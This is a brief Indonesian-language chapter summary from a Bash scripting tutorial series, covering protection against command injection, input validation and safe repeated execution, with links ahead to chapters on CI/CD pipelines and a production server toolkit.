Bab ini melengkapi kemampuan menulis script yang tidak cuma berfungsi, tapi juga aman dari command injection, tervalidasi inputnya, dan aman dijalankan berulang kali baik oleh manusia maupun oleh scheduler otomatis. Prinsip-prinsip ini jadi makin krusial di Bab 24, saat script Bash mulai dijalankan di dalam pipeline CI/CD tanpa pengawasan manusia sama sekali di setiap langkahnya, dan menutup series ini di Bab 28.2 sebagai bagian tak terpisahkan dari toolkit administrasi server yang layak disebut siap produksi.

